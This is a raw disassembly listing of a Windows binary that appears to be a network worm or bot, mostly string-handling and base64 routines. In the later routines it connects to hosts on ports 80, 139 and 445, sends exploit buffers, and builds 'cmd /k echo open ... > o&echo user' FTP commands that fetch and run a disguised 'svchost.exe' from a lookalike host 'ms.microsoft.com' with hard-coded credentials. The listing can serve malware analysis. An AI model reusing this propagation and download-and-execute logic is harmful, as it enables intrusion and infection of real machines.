		mov	[ebp+arg_4], eax


loc_40C38F:				; CODE XREF: sub_40C36E+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_40C3E0
		push	ebx
		mov	ebx, [edi+18h]
		cmp	ebx, 10h
		lea	ecx, [edi+4]
		jb	short loc_40C3A5
		mov	edx, [ecx]
		jmp	short loc_40C3A7
; ---------------------------------------------------------------------------


loc_40C3A5:				; CODE XREF: sub_40C36E+31j
		mov	edx, ecx


loc_40C3A7:				; CODE XREF: sub_40C36E+35j
		cmp	ebx, 10h
		pop	ebx
		jb	short loc_40C3AF
		mov	ecx, [ecx]


loc_40C3AF:				; CODE XREF: sub_40C36E+3Dj
		sub	eax, [ebp+arg_4]
		add	edx, esi
		add	edx, [ebp+arg_4]
		push	eax
		push	edx
		add	ecx, esi
		push	ecx
		call	sub_40F260
		mov	esi, [edi+14h]
		sub	esi, [ebp+arg_4]
		add	esp, 0Ch
		push	0
		push	esi
		mov	ecx, edi
		call	sub_40C27D
		test	al, al
		jz	short loc_40C3E0
		push	esi
		mov	ecx, edi
		call	sub_40C16E


loc_40C3E0:				; CODE XREF: sub_40C36E+25j
					; sub_40C36E+68j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40C36E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C3E8	proc near		; CODE XREF: sub_40C62F+117p
					; sub_40C62F+148p

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		or	eax, 0FFFFFFFFh
		mov	esi, ecx
		sub	eax, [esi+14h]
		cmp	eax, ebx
		ja	short loc_40C3FF
		call	sub_417E2C


loc_40C3FF:				; CODE XREF: sub_40C3E8+10j
		test	ebx, ebx
		jbe	short loc_40C441
		push	edi
		mov	edi, [esi+14h]
		push	0
		add	edi, ebx
		push	edi
		mov	ecx, esi
		call	sub_40C27D
		test	al, al
		jz	short loc_40C440
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C422
		mov	eax, [esi+4]
		jmp	short loc_40C425
; ---------------------------------------------------------------------------


loc_40C422:				; CODE XREF: sub_40C3E8+33j
		lea	eax, [esi+4]


loc_40C425:				; CODE XREF: sub_40C3E8+38j
		push	[esp+8+arg_8]
		mov	ecx, [esi+14h]
		add	ecx, eax
		push	ebx
		push	ecx
		call	sub_40B91A
		add	esp, 0Ch
		push	edi
		mov	ecx, esi
		call	sub_40C16E


loc_40C440:				; CODE XREF: sub_40C3E8+2Dj
		pop	edi


loc_40C441:				; CODE XREF: sub_40C3E8+19j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	8
sub_40C3E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C448	proc near		; CODE XREF: sub_40C5F5+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	ebx
		mov	esi, ecx
		call	sub_40C139
		test	al, al
		jz	short loc_40C47A
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C467
		mov	eax, [esi+4]
		jmp	short loc_40C46A
; ---------------------------------------------------------------------------


loc_40C467:				; CODE XREF: sub_40C448+18j
		lea	eax, [esi+4]


loc_40C46A:				; CODE XREF: sub_40C448+1Dj
		push	[ebp+arg_4]
		sub	ebx, eax
		push	ebx
		push	esi
		mov	ecx, esi
		call	sub_40C2D9
		jmp	short loc_40C4D2
; ---------------------------------------------------------------------------


loc_40C47A:				; CODE XREF: sub_40C448+12j
		or	eax, 0FFFFFFFFh
		sub	eax, [esi+14h]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40C48C
		mov	ecx, esi
		call	sub_417E2C


loc_40C48C:				; CODE XREF: sub_40C448+3Bj
		cmp	[ebp+arg_4], 0
		jbe	short loc_40C4D0
		push	edi
		mov	edi, [esi+14h]
		add	edi, [ebp+arg_4]
		push	0
		push	edi
		mov	ecx, esi
		call	sub_40C27D
		test	al, al
		jz	short loc_40C4CF
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C4B2
		mov	eax, [esi+4]
		jmp	short loc_40C4B5
; ---------------------------------------------------------------------------


loc_40C4B2:				; CODE XREF: sub_40C448+63j
		lea	eax, [esi+4]


loc_40C4B5:				; CODE XREF: sub_40C448+68j
		push	[ebp+arg_4]
		mov	ecx, [esi+14h]
		add	ecx, eax
		push	ebx
		push	ecx
		call	sub_40E3A0
		add	esp, 0Ch
		push	edi
		mov	ecx, esi
		call	sub_40C16E


loc_40C4CF:				; CODE XREF: sub_40C448+5Dj
		pop	edi


loc_40C4D0:				; CODE XREF: sub_40C448+48j
		mov	eax, esi


loc_40C4D2:				; CODE XREF: sub_40C448+30j
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_40C448	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4D8	proc near		; CODE XREF: sub_40C567+2Bp
					; sub_40C5D6+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], eax
		mov	ebx, ecx
		jnb	short loc_40C4F0
		call	sub_417D91


loc_40C4F0:				; CODE XREF: sub_40C4D8+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_40C500
		mov	esi, [ebp+arg_8]


loc_40C500:				; CODE XREF: sub_40C4D8+23j
		cmp	ebx, edi
		mov	ecx, ebx
		jnz	short loc_40C51E
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_40C36E
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_40C36E
		jmp	short loc_40C55E
; ---------------------------------------------------------------------------


loc_40C51E:				; CODE XREF: sub_40C4D8+2Cj
		push	1
		push	esi
		call	sub_40C27D
		test	al, al
		jz	short loc_40C55E
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_40C535
		mov	edi, [edi+4]
		jmp	short loc_40C538
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C4D8+56j
		add	edi, 4


loc_40C538:				; CODE XREF: sub_40C4D8+5Bj
		cmp	dword ptr [ebx+18h], 10h
		jb	short loc_40C543
		mov	eax, [ebx+4]
		jmp	short loc_40C546
; ---------------------------------------------------------------------------


loc_40C543:				; CODE XREF: sub_40C4D8+64j
		lea	eax, [ebx+4]


loc_40C546:				; CODE XREF: sub_40C4D8+69j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	edi, ecx
		push	edi
		push	eax
		call	sub_40E3A0
		add	esp, 0Ch
		push	esi
		mov	ecx, ebx
		call	sub_40C16E


loc_40C55E:				; CODE XREF: sub_40C4D8+44j
					; sub_40C4D8+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40C4D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C567	proc near		; CODE XREF: sub_40C612+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_40C139
		test	al, al
		jz	short loc_40C599
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C586
		mov	eax, [esi+4]
		jmp	short loc_40C589
; ---------------------------------------------------------------------------


loc_40C586:				; CODE XREF: sub_40C567+18j
		lea	eax, [esi+4]


loc_40C589:				; CODE XREF: sub_40C567+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_40C4D8
		jmp	short loc_40C5D0
; ---------------------------------------------------------------------------


loc_40C599:				; CODE XREF: sub_40C567+12j
		push	1
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_40C27D
		test	al, al
		jz	short loc_40C5CE
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40C5B4
		mov	eax, [esi+4]
		jmp	short loc_40C5B7
; ---------------------------------------------------------------------------


loc_40C5B4:				; CODE XREF: sub_40C567+46j
		lea	eax, [esi+4]


loc_40C5B7:				; CODE XREF: sub_40C567+4Bj
		push	[ebp+arg_4]
		push	edi
		push	eax
		call	sub_40E3A0
		add	esp, 0Ch
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_40C16E


loc_40C5CE:				; CODE XREF: sub_40C567+40j
		mov	eax, esi


loc_40C5D0:				; CODE XREF: sub_40C567+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40C567	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C5D6	proc near		; CODE XREF: sub_40C62F+162p
					; sub_417CC2+26p ...

arg_0		= dword	ptr  4

		push	esi
		push	0
		mov	esi, ecx
		call	sub_40C18A
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_40C4D8
		mov	eax, esi
		pop	esi
		retn	4
sub_40C5D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C5F5	proc near		; CODE XREF: sub_40C62F+12Ep

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40D630
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40C448
		pop	esi
		retn	4
sub_40C5F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C612	proc near		; CODE XREF: sub_40C85D+10p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_40D630
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40C567
		pop	esi
		retn	4
sub_40C612	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C62F	proc near		; CODE XREF: sub_40C7B0+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_417FF9
		call	sub_40F234
		sub	esp, 2Ch
		push	edi
		xor	edi, edi
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-1Ch], edi
		mov	dword ptr [ebp-20h], 0Fh
		call	sub_40C16E
		push	dword ptr [ebp+10h]
		mov	[ebp-4], edi
		call	sub_40C0E1
		cmp	[ebp-20h], eax
		pop	ecx
		jnb	short loc_40C66D
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40C27D


loc_40C66D:				; CODE XREF: sub_40C62F+32j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40C78A
		push	ebx
		mov	ebx, [ebp+10h]
		push	esi


loc_40C67E:				; CODE XREF: sub_40C62F+153j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40C689
		push	3


loc_40C686:				; CODE XREF: sub_40C62F+62j
		pop	ebx
		jmp	short loc_40C69C
; ---------------------------------------------------------------------------


loc_40C689:				; CODE XREF: sub_40C62F+53j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40C693
		push	2
		jmp	short loc_40C686
; ---------------------------------------------------------------------------


loc_40C693:				; CODE XREF: sub_40C62F+5Ej
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40C69C
		xor	ebx, ebx
		inc	ebx


loc_40C69C:				; CODE XREF: sub_40C62F+58j
					; sub_40C62F+68j
		test	ebx, ebx
		mov	[ebp-1Ch], ebx
		fild	dword ptr [ebp-1Ch]
		jge	short loc_40C6AC
		fadd	dbl_419F58


loc_40C6AC:				; CODE XREF: sub_40C62F+75j
		fmul	dbl_41B8B8
		push	ecx
		push	ecx
		fstp	[esp+40h+var_40]
		call	sub_40F710
		pop	ecx
		pop	ecx
		call	sub_40E2E4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40C6E2
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		shr	ecx, 2
		lea	edi, [ebp-10h]
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40C6E2:				; CODE XREF: sub_40C62F+99j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		add	[ebp+0Ch], ebx
		sub	[ebp+10h], ebx
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		and	dl, 3
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	cl, 3
		and	dl, 0Fh
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		xor	esi, esi
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40C751
		add	[ebp-18h], eax


loc_40C734:				; CODE XREF: sub_40C62F+120j
		movsx	eax, byte ptr [ebp+esi-14h]
		movsx	eax, byte_41FAE0[eax]
		push	eax
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40C3E8
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40C734


loc_40C751:				; CODE XREF: sub_40C62F+100j
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40C765
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-38h]
		call	sub_40C5F5
		mov	[ebp-18h], edi


loc_40C765:				; CODE XREF: sub_40C62F+126j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40C77F
		sub	esi, [ebp-1Ch]


loc_40C770:				; CODE XREF: sub_40C62F+14Ej
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40C3E8
		dec	esi
		jnz	short loc_40C770


loc_40C77F:				; CODE XREF: sub_40C62F+13Cj
		cmp	[ebp+10h], edi
		ja	loc_40C67E
		pop	esi
		pop	ebx


loc_40C78A:				; CODE XREF: sub_40C62F+44j
		mov	ecx, [ebp+8]
		lea	eax, [ebp-38h]
		push	eax
		call	sub_40C5D6
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40C18A
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		mov	large fs:0, ecx
		leave
		retn
sub_40C62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7B0	proc near		; CODE XREF: sub_40C878+120p
		mov	eax, offset loc_418013
		call	sub_40F234
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	offset word_41994E
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-28h]
		push	dword ptr [ebp+0Ch]
		xor	ebx, ebx
		push	eax
		mov	[ebp-4], ebx
		call	sub_40C62F
		mov	eax, [ebp+28h]
		mov	ecx, [ebp-14h]
		lea	esi, [ecx+eax+36h]
		push	esi
		mov	byte ptr [ebp-4], 1
		call	sub_40E74F
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jz	short loc_40C838
		cmp	dword ptr [ebp-10h], 10h
		mov	ecx, [ebp-24h]
		jnb	short loc_40C802
		lea	ecx, [ebp-24h]


loc_40C802:				; CODE XREF: sub_40C7B0+4Dj
		cmp	dword ptr [ebp+2Ch], 10h
		mov	eax, [ebp+18h]
		jnb	short loc_40C80E
		lea	eax, [ebp+18h]


loc_40C80E:				; CODE XREF: sub_40C7B0+59j
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_40DFEC
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4C4724
		cmp	eax, esi
		jnz	short loc_40C831
		mov	bl, 1


loc_40C831:				; CODE XREF: sub_40C7B0+7Dj
		push	edi
		call	sub_40E359
		pop	ecx


loc_40C838:				; CODE XREF: sub_40C7B0+44j
		push	1
		lea	ecx, [ebp-28h]
		call	sub_40C18A
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40C18A
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40C7B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C85D	proc near		; CODE XREF: sub_40C878+114p
					; sub_417D91+15p ...

arg_0		= dword	ptr  4

		push	esi
		push	0
		mov	esi, ecx
		call	sub_40C18A
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_40C612
		mov	eax, esi
		pop	esi
		retn	4
sub_40C85D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C878	proc near		; CODE XREF: sub_40AD8F+1D5p
					; DATA XREF: .text:off_41EE7Co

var_820		= byte ptr -820h
var_420		= byte ptr -420h
var_41F		= byte ptr -41Fh
var_391		= byte ptr -391h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 820h
		and	[ebp+var_420], 0
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ecx, 0FFh
		lea	edi, [ebp+var_41F]
		rep stosd
		stosw
		push	8Fh
		stosb
		lea	eax, [ebp+var_420]
		push	offset sub_41FC90
		push	eax
		call	sub_40E3A0
		mov	eax, offset aSvchost_exe ; "svchost.exe"
		push	eax
		push	eax
		push	offset aPassword ; "password"
		push	offset aMircosoft ; "mircosoft"
		push	dword_41E264
		lea	eax, [ebp+var_391]
		push	offset aMs_microsoft_c ; "ms.microsoft.com"
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user %s"...
		push	400h
		push	eax
		call	sub_40DFEC
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		push	164h
		lea	eax, [ebp+var_8]
		push	offset sub_41FB28
		push	eax
		call	sub_40BB9B
		xor	esi, esi
		add	esp, 44h
		cmp	[ebp+var_4], esi
		jnz	short loc_40C916
		xor	eax, eax
		jmp	loc_40CA54
; ---------------------------------------------------------------------------


loc_40C916:				; CODE XREF: sub_40C878+95j
		mov	[ebp+var_C], esi


loc_40C919:				; CODE XREF: sub_40C878+17Fj
		test	esi, esi
		jnz	loc_40C9FD
		push	6
		push	1
		push	2
		call	dword_419238	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40C9E5
		push	[ebp+arg_A0]
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	dword_4C47DC
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4C4704
		mov	[ebp+var_18], eax
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4C463C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C9DA
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_40C9A2
		sub	esp, 1Ch
		lea	eax, [ebp+arg_4]
		mov	ecx, esp
		mov	[ebp+var_20], esp
		push	eax
		call	sub_40C85D
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_40C7B0
		add	esp, 28h
		jmp	short loc_40C9D7
; ---------------------------------------------------------------------------


loc_40C9A2:				; CODE XREF: sub_40C878+106j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_40C9BC
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_40C08F
		jmp	short loc_40C9D4
; ---------------------------------------------------------------------------


loc_40C9BC:				; CODE XREF: sub_40C878+134j
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_40C9DA
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_40BFB5


loc_40C9D4:				; CODE XREF: sub_40C878+142j
		add	esp, 0Ch


loc_40C9D7:				; CODE XREF: sub_40C878+128j
		movzx	esi, al


loc_40C9DA:				; CODE XREF: sub_40C878+FDj
					; sub_40C878+14Ej
		push	ebx
		call	dword_4C479C
		test	esi, esi
		jnz	short loc_40C9F0


loc_40C9E5:				; CODE XREF: sub_40C878+BAj
		push	3E8h
		call	dword_419060	; Sleep


loc_40C9F0:				; CODE XREF: sub_40C878+16Bj
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_40C919


loc_40C9FD:				; CODE XREF: sub_40C878+A3j
		lea	ecx, [ebp+var_8]
		call	sub_40B9CA
		test	esi, esi
		jz	short loc_40CA52
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aAsn445 ; "asn|445"
		push	eax
		push	offset aSS_	; "%s//	%s."
		lea	eax, [ebp+var_820]
		push	400h
		push	eax
		call	sub_40DFEC
		lea	eax, [ebp+var_820]
		push	eax
		call	sub_401648
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		lea	eax, dword_41EE80[eax]
		add	esp, 18h
		inc	dword ptr [eax]


loc_40CA52:				; CODE XREF: sub_40C878+18Fj
		mov	eax, esi


loc_40CA54:				; CODE XREF: sub_40C878+99j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C878	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA59	proc near		; CODE XREF: .text:0040CBE4p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	10h
		xor	esi, esi
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		push	eax
		mov	[ebp+var_10], 2
		call	dword_419248	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_419234	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_419238	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40CABC
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_41923C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CAC3


loc_40CABC:				; CODE XREF: sub_40CA59+4Fj
		xor	eax, eax
		jmp	loc_40CB4F
; ---------------------------------------------------------------------------


loc_40CAC3:				; CODE XREF: sub_40CA59+61j
		push	edi
		push	esi
		mov	esi, dword_419224
		mov	edi, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset aSvchost_exe ; "svchost.exe"
		push	eax
		push	eax
		push	offset aPassword ; "password"
		push	offset aMircosoft ; "mircosoft"
		push	dword_41E264
		lea	eax, [ebp+var_1A0]
		push	offset aMs_microsoft_c ; "ms.microsoft.com"
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	190h
		push	eax
		call	sub_40DFEC
		add	esp, 24h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40D630
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_419258	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CB37
		xor	eax, eax
		jmp	short loc_40CB4E
; ---------------------------------------------------------------------------


loc_40CB37:				; CODE XREF: sub_40CA59+D8j
		push	0
		push	edi
		lea	eax, [ebp+var_5A0]
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_419240	; closesocket
		xor	eax, eax
		inc	eax


loc_40CB4E:				; CODE XREF: sub_40CA59+DCj
		pop	edi


loc_40CB4F:				; CODE XREF: sub_40CA59+65j
		pop	esi
		pop	ebx
		leave
		retn
sub_40CA59	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_4C4704
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_4C47DC
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_419238	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40CBC5
		push	10h
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	dword_41923C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CBA6
		push	esi
		jmp	short loc_40CBBF
; ---------------------------------------------------------------------------


loc_40CBA6:				; CODE XREF: .text:0040CBA1j
		push	0
		push	1213h
		push	(offset	loc_41FD1F+1)
		push	esi
		call	dword_419258	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40CBC9


loc_40CBBF:				; CODE XREF: .text:0040CBA4j
		call	dword_419240	; closesocket


loc_40CBC5:				; CODE XREF: .text:0040CB8Fj
		xor	eax, eax
		jmp	short loc_40CC07
; ---------------------------------------------------------------------------


loc_40CBC9:				; CODE XREF: .text:0040CBBDj
		call	dword_419240	; closesocket
		push	216Bh
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_40CA59
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40CC04
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_41EE80[eax]
		inc	dword ptr [eax]


loc_40CC04:				; CODE XREF: .text:0040CBF1j
		xor	eax, eax
		inc	eax


loc_40CC07:				; CODE XREF: .text:0040CBC7j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC0B	proc near		; CODE XREF: .text:0040D250p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_8]
		xor	esi, esi
		sub	edi, eax


loc_40CC1C:				; CODE XREF: sub_40CC0B+32j
		push	[ebp+arg_4]
		call	sub_40D630
		cmp	esi, eax
		pop	ecx
		jnb	short loc_40CC34
		lea	eax, [ebp+esi+var_8]
		mov	cl, [edi+eax]
		mov	[eax], cl
		jmp	short loc_40CC39
; ---------------------------------------------------------------------------


loc_40CC34:				; CODE XREF: sub_40CC0B+1Cj
		and	[ebp+esi+var_8], 0


loc_40CC39:				; CODE XREF: sub_40CC0B+27j
		inc	esi
		cmp	esi, 8
		jb	short loc_40CC1C
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		call	sub_40557C
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		push	2
		pop	edi


loc_40CC52:				; CODE XREF: sub_40CC0B+54j
		push	esi
		push	esi
		call	sub_40554F
		pop	ecx
		add	esi, 8
		dec	edi
		pop	ecx
		jnz	short loc_40CC52
		pop	edi
		pop	esi
		leave
		retn
sub_40CC0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC65	proc near		; CODE XREF: .text:0040D23Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		sub	edi, esi


loc_40CC75:				; CODE XREF: sub_40CC65+2Cj
		push	[ebp+arg_4]
		call	sub_40D630
		cmp	ebx, eax
		pop	ecx
		jnb	short loc_40CC89
		mov	al, [edi+esi]
		mov	[esi], al
		jmp	short loc_40CC8C
; ---------------------------------------------------------------------------


loc_40CC89:				; CODE XREF: sub_40CC65+1Bj
		and	byte ptr [esi],	0


loc_40CC8C:				; CODE XREF: sub_40CC65+22j
		inc	ebx
		inc	esi
		cmp	ebx, 8
		jb	short loc_40CC75
		push	0
		push	offset dword_420F6C
		call	sub_40557C
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		call	sub_40554F
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40CC65	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCB2	proc near		; CODE XREF: sub_40CD30+14p
					; .text:0040D06Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi
		jmp	short loc_40CCDD
; ---------------------------------------------------------------------------


loc_40CCBC:				; CODE XREF: sub_40CCB2+2Dj
		mov	eax, [esp+8+arg_4]
		push	0
		push	edi
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_419224	; recv
		test	eax, eax
		jz	short loc_40CCE7
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CCE7
		sub	edi, eax
		add	esi, eax


loc_40CCDD:				; CODE XREF: sub_40CCB2+8j
		test	edi, edi
		jg	short loc_40CCBC
		xor	eax, eax
		inc	eax


loc_40CCE4:				; CODE XREF: sub_40CCB2+37j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40CCE7:				; CODE XREF: sub_40CCB2+20j
					; sub_40CCB2+25j
		xor	eax, eax
		jmp	short loc_40CCE4
sub_40CCB2	endp


